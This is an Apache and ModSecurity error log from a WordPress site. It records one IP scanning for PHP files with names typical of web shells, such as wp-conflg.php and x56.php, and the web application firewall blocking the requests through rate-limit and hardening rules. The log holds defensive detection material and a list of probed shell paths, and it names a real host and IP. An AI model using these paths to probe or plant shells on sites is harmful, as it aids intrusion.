[Sat Feb 28 16:19:47.817703 2026] [:error] [pid 49763:tid 49786] [client 20.220.232.101:64400] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x56.php"] [unique_id "aaKlI7THSOG_yf2PpqHgwQAAAdQ"]
[Sat Feb 28 16:19:49.260451 2026] [:error] [pid 49763:tid 49773] [client 20.220.232.101:24765] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x56.php"] [unique_id "aaKlJbTHSOG_yf2PpqHgxgAAAcc"]
[Sat Feb 28 16:19:50.026666 2026] [:error] [pid 49763:tid 49785] [client 20.220.232.101:24715] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x56.php"] [unique_id "aaKlJrTHSOG_yf2PpqHgywAAAdM"]
[Sat Feb 28 16:19:52.478108 2026] [:error] [pid 49763:tid 49785] [client 20.220.232.101:25318] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aaKlKLTHSOG_yf2PpqHg2QAAAdM"]
[Sat Feb 28 16:19:56.057248 2026] [:error] [pid 49763:tid 49784] [client 20.220.232.101:24742] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aaKlLLTHSOG_yf2PpqHg5gAAAdI"]
[Sat Feb 28 16:19:58.417247 2026] [:error] [pid 49763:tid 49773] [client 20.220.232.101:25327] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aaKlLrTHSOG_yf2PpqHg7wAAAcc"]
[Sat Feb 28 16:20:00.768057 2026] [:error] [pid 11791:tid 11808] [client 20.220.232.101:25239] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aaKlMGuX5e1Q32gqxH1x8QAAAQ8"]
[Sat Feb 28 16:20:03.879547 2026] [:error] [pid 39183:tid 39199] [client 20.220.232.101:64434] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/readme.php"] [unique_id "aaKlMxCf4HvhVePw3LYaTAAAAAc"]
[Sat Feb 28 16:20:07.302225 2026] [:error] [pid 49763:tid 49772] [client 20.220.232.101:64398] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/readme.php"] [unique_id "aaKlN7THSOG_yf2PpqHhDgAAAcY"]
[Sat Feb 28 16:20:10.907947 2026] [:error] [pid 39183:tid 39198] [client 20.220.232.101:25255] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/readme.php"] [unique_id "aaKlOhCf4HvhVePw3LYaVQAAAAY"]
[Sat Feb 28 16:20:16.515710 2026] [:error] [pid 39184:tid 39229] [client 20.220.232.101:64428] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/readme.php"] [unique_id "aaKlQFtZF9Zd_U7easAbJQAAAEo"]
[Sat Feb 28 16:20:18.751083 2026] [:error] [pid 49763:tid 49778] [client 20.220.232.101:64388] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x50.php"] [unique_id "aaKlQrTHSOG_yf2PpqHhYwAAAcw"]
[Sat Feb 28 16:20:23.613062 2026] [:error] [pid 49763:tid 49777] [client 20.220.232.101:25291] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x50.php"] [unique_id "aaKlR7THSOG_yf2PpqHhaQAAAcs"]
[Sat Feb 28 16:20:27.750237 2026] [proxy_fcgi:error] [pid 39292:tid 39297] [client 20.220.232.101:24721] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:20:27.962761 2026] [proxy_fcgi:error] [pid 39292:tid 39303] [client 20.220.232.101:24721] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:20:29.378917 2026] [proxy_fcgi:error] [pid 39292:tid 39306] [client 20.220.232.101:24721] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:20:29.612062 2026] [proxy_fcgi:error] [pid 39292:tid 39314] [client 20.220.232.101:24721] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:20:29.824826 2026] [proxy_fcgi:error] [pid 39292:tid 39302] [client 20.220.232.101:24721] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:20:30.055159 2026] [proxy_fcgi:error] [pid 39292:tid 39296] [client 20.220.232.101:24721] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:20:30.278898 2026] [proxy_fcgi:error] [pid 39292:tid 39315] [client 20.220.232.101:24721] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:20:30.509577 2026] [proxy_fcgi:error] [pid 39292:tid 39313] [client 20.220.232.101:24721] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:20:31.290843 2026] [proxy_fcgi:error] [pid 39292:tid 39318] [client 20.220.232.101:24721] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:20:31.523721 2026] [proxy_fcgi:error] [pid 39292:tid 39301] [client 20.220.232.101:24721] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:20:31.736202 2026] [proxy_fcgi:error] [pid 39292:tid 39299] [client 20.220.232.101:24721] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:20:31.957418 2026] [:error] [pid 39292:tid 39310] [client 20.220.232.101:24721] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/themes.php"] [unique_id "aaKlT6IAO5fN7BxyqcETcQAAANA"]
[Sat Feb 28 16:20:36.549912 2026] [:error] [pid 49763:tid 49773] [client 20.220.232.101:24753] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/themes.php"] [unique_id "aaKlVLTHSOG_yf2PpqHhhAAAAcc"]
[Sat Feb 28 16:20:40.020783 2026] [:error] [pid 49763:tid 49768] [client 20.220.232.101:25340] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/themes.php"] [unique_id "aaKlWLTHSOG_yf2PpqHhkQAAAcI"]
[Sat Feb 28 16:20:42.825109 2026] [:error] [pid 39184:tid 39235] [client 20.220.232.101:64441] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/themes.php"] [unique_id "aaKlWltZF9Zd_U7easAbOAAAAFA"]
[Sat Feb 28 16:20:45.837309 2026] [:error] [pid 11791:tid 11813] [client 20.220.232.101:24710] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aaKlXWuX5e1Q32gqxH1yFgAAARQ"]
[Sat Feb 28 16:20:51.092540 2026] [:error] [pid 39184:tid 39230] [client 20.220.232.101:64407] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aaKlY1tZF9Zd_U7easAbRQAAAEs"]
[Sat Feb 28 16:21:00.088495 2026] [:error] [pid 49763:tid 49790] [client 20.220.232.101:24761] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaKlbLTHSOG_yf2PpqHh5QAAAdg"]
[Sat Feb 28 16:21:03.572751 2026] [:error] [pid 39184:tid 39224] [client 20.220.232.101:25343] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaKlb1tZF9Zd_U7easAbWgAAAEU"]
[Sat Feb 28 16:21:05.735564 2026] [:error] [pid 22194:tid 22206] [client 20.220.232.101:25289] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaKlcX6mbajs3bzQGytvTQAAAUo"]
[Sat Feb 28 16:21:09.789128 2026] [:error] [pid 39184:tid 39235] [client 20.220.232.101:24711] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaKldVtZF9Zd_U7easAbdQAAAFA"]
[Sat Feb 28 16:21:14.826783 2026] [:error] [pid 39184:tid 39230] [client 20.220.232.101:25324] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/click.php"] [unique_id "aaKleltZF9Zd_U7easAbhgAAAEs"]
[Sat Feb 28 16:21:18.573286 2026] [:error] [pid 39185:tid 39258] [client 20.220.232.101:25326] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/click.php"] [unique_id "aaKlfhVE-FfM89u7BQZjwgAAAIw"]
[Sat Feb 28 16:21:22.428378 2026] [:error] [pid 39183:tid 39209] [client 20.220.232.101:24764] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/click.php"] [unique_id "aaKlghCf4HvhVePw3LYbIAAAABE"]
[Sat Feb 28 16:21:24.344695 2026] [:error] [pid 49763:tid 49778] [client 20.220.232.101:24706] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/click.php"] [unique_id "aaKlhLTHSOG_yf2PpqHivQAAAcw"]
[Sat Feb 28 16:21:25.613096 2026] [:error] [pid 39292:tid 39315] [client 20.220.232.101:25299] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/install.php"] [unique_id "aaKlhaIAO5fN7BxyqcETvwAAANU"]
[Sat Feb 28 16:21:27.209955 2026] [:error] [pid 39292:tid 39299] [client 20.220.232.101:59672] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/install.php"] [unique_id "aaKlh6IAO5fN7BxyqcETwQAAAMU"]
[Sat Feb 28 16:21:28.306160 2026] [:error] [pid 39183:tid 39203] [client 20.220.232.101:25242] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/install.php"] [unique_id "aaKliBCf4HvhVePw3LYbRQAAAAs"]
[Sat Feb 28 16:21:29.941627 2026] [:error] [pid 52460:tid 52471] [client 20.220.232.101:24767] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/install.php"] [unique_id "aaKlibLWOogAgHGh62SnTQAAAYg"]
[Sat Feb 28 16:21:32.480066 2026] [proxy_fcgi:error] [pid 39183:tid 39196] [client 20.220.232.101:64394] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:21:32.691068 2026] [proxy_fcgi:error] [pid 39183:tid 39198] [client 20.220.232.101:64394] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:21:32.931651 2026] [proxy_fcgi:error] [pid 39183:tid 39193] [client 20.220.232.101:64394] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:21:33.143404 2026] [proxy_fcgi:error] [pid 39183:tid 39215] [client 20.220.232.101:64394] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:21:33.564850 2026] [:error] [pid 39183:tid 39213] [client 20.220.232.101:64394] [client 20.220.232.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aaKljRCf4HvhVePw3LYbUQAAABU"]
[Sat Feb 28 16:21:35.913064 2026] [proxy_fcgi:error] [pid 39184:tid 39227] [client 20.220.232.101:25311] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:21:36.956935 2026] [proxy_fcgi:error] [pid 39184:tid 39225] [client 20.220.232.101:25311] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:21:37.169523 2026] [proxy_fcgi:error] [pid 39184:tid 39221] [client 20.220.232.101:25311] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:21:37.380769 2026] [proxy_fcgi:error] [pid 39184:tid 39236] [client 20.220.232.101:25311] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:21:37.590474 2026] [proxy_fcgi:error] [pid 39184:tid 39241] [client 20.220.232.101:25311] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:21:37.806695 2026] [proxy_fcgi:error] [pid 39184:tid 39232] [client 20.220.232.101:25311] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:21:38.056090 2026] [proxy_fcgi:error] [pid 39184:tid 39240] [client 20.220.232.101:25311] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:21:38.261775 2026] [:error] [pid 39184:tid 39229] [client 20.220.232.101:25311] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aaKlkltZF9Zd_U7easAcAgAAAEo"]
[Sat Feb 28 16:21:40.624769 2026] [:error] [pid 39184:tid 39234] [client 20.220.232.101:25338] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aaKllFtZF9Zd_U7easAcJQAAAE8"]
[Sat Feb 28 16:21:43.698080 2026] [:error] [pid 11791:tid 11805] [client 20.220.232.101:64404] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aaKll2uX5e1Q32gqxH1ybAAAAQw"]
[Sat Feb 28 16:21:45.189279 2026] [:error] [pid 11791:tid 11798] [client 20.220.232.101:64392] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aaKlmWuX5e1Q32gqxH1ycwAAAQU"]
[Sat Feb 28 16:21:47.497682 2026] [:error] [pid 39183:tid 39210] [client 20.220.232.101:24726] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin.php"] [unique_id "aaKlmxCf4HvhVePw3LYbfQAAABI"]
[Sat Feb 28 16:21:48.961197 2026] [:error] [pid 49763:tid 49773] [client 20.220.232.101:24754] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin.php"] [unique_id "aaKlnLTHSOG_yf2PpqHjVQAAAcc"]
[Sat Feb 28 16:21:51.787786 2026] [:error] [pid 39292:tid 39300] [client 20.220.232.101:64421] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin.php"] [unique_id "aaKln6IAO5fN7BxyqcET8AAAAMY"]
[Sat Feb 28 16:21:54.116341 2026] [:error] [pid 49763:tid 49782] [client 20.220.232.101:59675] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin.php"] [unique_id "aaKlorTHSOG_yf2PpqHjagAAAdA"]
[Sat Feb 28 16:21:55.848323 2026] [:error] [pid 39183:tid 39197] [client 20.220.232.101:59707] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaKloxCf4HvhVePw3LYbnAAAAAU"]
[Sat Feb 28 16:21:56.610746 2026] [:error] [pid 39292:tid 39306] [client 20.220.232.101:25241] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaKlpKIAO5fN7BxyqcEUAwAAAMw"]
[Sat Feb 28 16:21:57.554743 2026] [:error] [pid 39183:tid 39205] [client 20.220.232.101:24716] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaKlpRCf4HvhVePw3LYbpwAAAA0"]
[Sat Feb 28 16:21:58.559267 2026] [:error] [pid 49763:tid 49790] [client 20.220.232.101:25233] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaKlprTHSOG_yf2PpqHjiAAAAdg"]
[Sat Feb 28 16:21:59.795224 2026] [:error] [pid 39183:tid 39197] [client 20.220.232.101:25305] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aaKlpxCf4HvhVePw3LYbuAAAAAU"]
[Sat Feb 28 16:22:01.507514 2026] [:error] [pid 39184:tid 39234] [client 20.220.232.101:64423] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aaKlqVtZF9Zd_U7easAcVAAAAE8"]
[Sat Feb 28 16:22:04.541487 2026] [:error] [pid 22194:tid 22204] [client 20.220.232.101:25298] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aaKlrH6mbajs3bzQGytvwAAAAUg"]
[Sat Feb 28 16:22:06.736115 2026] [:error] [pid 49763:tid 49778] [client 20.220.232.101:25245] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aaKlrrTHSOG_yf2PpqHjtgAAAcw"]
[Sat Feb 28 16:22:10.244413 2026] [:error] [pid 49763:tid 49790] [client 20.220.232.101:24718] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abcd.php"] [unique_id "aaKlsrTHSOG_yf2PpqHj3gAAAdg"]
